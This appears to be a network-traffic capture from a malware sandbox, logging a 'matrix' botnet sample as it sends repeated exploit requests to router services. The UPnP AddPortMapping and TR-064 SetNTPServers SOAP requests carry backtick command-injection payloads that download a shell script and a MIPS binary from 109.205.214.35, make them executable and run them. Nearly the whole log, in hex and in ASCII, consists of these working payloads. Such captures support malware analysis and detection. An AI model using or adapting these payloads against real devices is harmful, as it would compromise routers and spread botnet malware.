74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:22:36.431303024 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:22:38.033852100 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:22:41.325644970 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:22:47.724251986 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:00.528234005 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:26.643341064 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
549	192.168.2.13	56824	37.37.170.72	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.627146006 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:39.788295984 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
